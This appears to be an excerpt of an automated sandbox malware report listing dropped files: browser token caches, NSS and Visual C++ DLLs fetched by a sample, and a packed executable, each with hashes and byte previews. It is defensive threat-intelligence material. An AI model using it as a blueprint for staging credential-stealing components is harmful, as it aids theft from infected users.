Entropy (8bit):	6.086764610227639
Encrypted:	false
SSDEEP:	768:rMkbJrT8IeQc54KpeLmZlViIYfGEIFzfIQmxgxC1oQwWE7RTupzKscDX//NqB:rMk1rT8HwKvLIQ9IoQoRTuii
MD5:	F8BA0383ACBF33DD4998234C778A4B49
SHA1:	B76AAA0E25260648B3A7164C52046B6A205CEBCA
SHA-256:	6696CBD7A602E0730F15662FADDF4A40F1BAA6C4B15E4B97D1D00C5FF34F2933
SHA-512:	ABF9F47C89D51E79EFBD836CE9D41C1128B6232FD70FEC443CDD33388C529D7248C4DD0675A238ACA0D2BC42D381D4D6D58C6B5E2C1CED0EA8CF9A977C547D3A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"0ef2c216-6194-4ef8-b3ce-45b0e568ceb4"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732604617"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.858773848285469
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx0Cxl9Il8ucsV6UulWSbb+GUrl0qbed1rc:mXGYasV6UuYDGUxhb1
MD5:	97874CB21B5B7F96B0C992EBB908E074
SHA1:	B098736649C7B0938CABC5E372661235C8332B6A
SHA-256:	2C8B94913B81C53FF2764ACE16210ADFF81ABC2C866D9699CA95E2A50BC46390
SHA-512:	3D329E3F977AA4F72E02382BF6F632C8ABE513651203F1EB095CC5BDCD65878BBB3DB8903AC1151D068455714EDA92387968ECA9D263C52BC652AD1A3AAA53E6
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.B.J.W.s.t.k./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.J.u.x.l.G.S.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.002792008942628
Encrypted:	false
SSDEEP:	96:5xYa7AKLaiUQSrpY33h5+TCSoCo4mTMTfnzCdrackgNcsETt:fTzLaiTS63hRSN6Dra5sER
MD5:	D10A5981955BA42FFE6D20C061705E5F
SHA1:	A3E16236389DC8BA369BF2C1DFBEE69082BEB829
SHA-256:	84E31F5E5950A9155652E0775DD6721D668E2DF0D102DAA106C3A439AE831125
SHA-512:	A6349C7C7C33B3A9CBDD3E520616B820BCD0277AAC632F41DF1C3AC52B4AB90C45E0BA1768D351A54646247669C08FCD00D251535666F571D8FCF16A452CD3E0
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".t.w.g.6.l.9.E./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.J.u.x.l.G.S.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8928652342714605
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xDxl9Il8ucSPNC822R/H2Tv0KK1rcJSIGfrV+zd/vc:a9YaYNCFPTMrcMB
MD5:	DDB1C559B2DBD545B006D8159CBF1975
SHA1:	E0A1FC4B8ECB8225F19FADBB7D0A6ADE54830954
SHA-256:	CBE9A766D3BE8BED658C44C4776DDF708E4B95746978889C1BE9BA8D4AE20A01
SHA-512:	B5C15ECB3192BC5CBE245C436FF5B861E7CA7C756FA6C148D840A94D8E7B8D73BB552A195ACAD206C4435A6E80C90F773B4367D1C227B0B2D9AA8395D4E3E501
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".N.r.Z.o.x.6.J.e.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.J.u.x.l.G.S.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.382561187677
Encrypted:	false
SSDEEP:	48:SfNaoQpTEQffNaoQcQRfNaoQlQcfNaoQcse0UrU0U8Qcz:6NnQpTEQ3NnQcQtNnQlQINnQcse0UrUo
MD5:	F6A10D97CE82B4A3D7E68D44C4E85029
SHA1:	6CA4259853B52E63713734A9BE7706A045F602B1
SHA-256:	42C968F8BC74A652AAEF8D0ABC4BA4DA058B0672AA494D0C42CA6E01E2342F0C
SHA-512:	C3BAC5B76678CDE3AC7D6A6CA097A662BFAD78D47D0858D30484539681A53139A7FAAA82414B9594AEC364657FA411D666DC5DDBFF06CA49B69A1413A1212CE9
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/C95C066C7593C27143A619731788040F",.. "id": "C95C066C7593C27143A619731788040F",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/C95C066C7593C27143A619731788040F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/45DE9B83FD7F2480EEDF2F5070BF48EB",.. "id": "45DE9B83FD7F2480EEDF2F5070BF48EB",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/45DE9B83FD7F2480EEDF2F5070BF48EB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2392064
Entropy (8bit):	7.981319594177448
Encrypted:	false
SSDEEP:	49152:q+FrJObK/MMTHP3odgPKl9ULOWKUYSFVBLKqP/w6HO:qyJObEL3jPKlKoUYSnB2qP/wUO
MD5:	DAFF33DE03AE29A64BE4EFDBE91A5013
SHA1:	3B3F04313B591E5760D2D640237D48FC2FB4D788
SHA-256:	1F29254C1EEA858B16B761756F60B24D736A8733EA986423D261F5C8808F896A
SHA-512:	0F2367712C824E1ECBFCA790E0003582DC04BFDA11B368CD985447FB0AD3F1DF9E4AABD44473A3AAABF52181BA8ED96B2E2A6E7BCA1C0B05D1C105884905F0FF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@..................................2D...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...tdbqqdnq.............'.............@...wpfewoas.............DC.............@....taggant.0......."...HC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.39690071917673
Encrypted:	false
SSDEEP:	96:6NnQGHQmNnQIZbQDNnQE9QKNnQQsNdgEQQrNnQsQDNnQgDQWNnQUwQ6NnQ8CH839:6NVNrKNTNgZNsNNNN7mNRwG3
MD5:	D8F5066B9261C625652D8B4EEBB8FBC0
SHA1:	EABBAE795536AFD67885E9AF70FF08285A7393EC
SHA-256:	B0D86D694BF83CBB9D9370511369C541561E4A6DFDEF9DBE52326653B56E2EDE
SHA-512:	84A3BC46B937A189DC28A6AFE952E50F90EAA62896BBF7C92CCD4269E24997E4376B806E3756D33669A0094C376805811E12E81F90DA0A1ABACD963B09EDBAE9
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/983A0476D68ACE94FF6DDDF22035FF78",.. "id": "983A0476D68ACE94FF6DDDF22035FF78",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/983A0476D68ACE94FF6DDDF22035FF78"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/02A04B85DEDA7D58B5F72B99646DD4FF",.. "id": "02A04B85DEDA7D58B5F72B99646DD4FF",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/02A04B85DEDA7D58B5F72B99646DD4FF"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Temp\014579d5-e488-4723-96f5-b1be3076e886.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\1009228001\d59148a0e0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2392064
Entropy (8bit):	7.981319594177448
Encrypted:	false
SSDEEP:	49152:q+FrJObK/MMTHP3odgPKl9ULOWKUYSFVBLKqP/w6HO:qyJObEL3jPKlKoUYSnB2qP/wUO
MD5:	DAFF33DE03AE29A64BE4EFDBE91A5013
SHA1:	3B3F04313B591E5760D2D640237D48FC2FB4D788
SHA-256:	1F29254C1EEA858B16B761756F60B24D736A8733EA986423D261F5C8808F896A
SHA-512:	0F2367712C824E1ECBFCA790E0003582DC04BFDA11B368CD985447FB0AD3F1DF9E4AABD44473A3AAABF52181BA8ED96B2E2A6E7BCA1C0B05D1C105884905F0FF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@..................................2D...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...tdbqqdnq.............'.............@...wpfewoas.............DC.............@....taggant.0......."...HC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3abfa2be-526e-4097-a147-121566e40953.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\4af4e8d0-a35f-4e82-9482-956372ef5806.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
